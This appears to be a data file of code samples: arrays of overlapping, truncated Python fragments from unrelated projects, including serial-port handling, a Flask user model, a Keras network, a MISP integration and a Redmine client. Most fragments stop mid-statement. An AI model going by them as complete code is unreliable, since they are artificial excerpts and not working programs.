"file_bbl = object_name + \".bbl\" if not os.path.isfile(file_bbl): return \"\" with open(file_bbl, 'r')",
"return [] files = os.listdir(name) sections = [] for section in files: if",
"remove_tmp(texname + \"... |
[
"baud rate: %r' % self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid baud",
"2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin':",
"becomes ready to read (or something fails) for fd, event in poll.poll(self._timeout*1000): if",
"self.fd = None r... |
[
"<reponame>electricimp/examples import datetime from database import Base from sqlalchemy import Column, String, Integer,",
"\"\"\" return False def is_active(self): \"\"\" Callback for Flask-Login. Default to True -",
"ID of a given user object. It is unicoded as per specification. Returns:",
"first_name = C... |
[
"model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu',",
"training examples is below this, load more data batch_size = 16 categories =",
"128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3)... |
[
"Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung",
"Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_cod... |
[
"import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not",
"format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent",
"logging.CRITICAL, format='%(name... |
[
"elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command",
"'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.... |
[
"key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key)",
"__init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY",
"from redminelib import Redmine as DefaultRedmine from .validator impo... |
[
"Let's turn it into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot",
"df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().r... |
[
"p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union =",
"loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances)",
"loss = 1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted... |
[
"except local.LocalExecutionFailed: msg = (\"iscsiadm is not available on the local host. Please",
"and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null '",
"KIND, either express or implied. # See the License for the specific language",... |
[
"number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint,",
"the data.\"\"\" if 'format' not in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\"",
"= 'routelist' return self.get(endpoint, **kwargs) def routes(self): \"\"\" Same as an empt... |
[
"thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True)",
"threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num +=",
"Utility function def print_status() -> None: g... |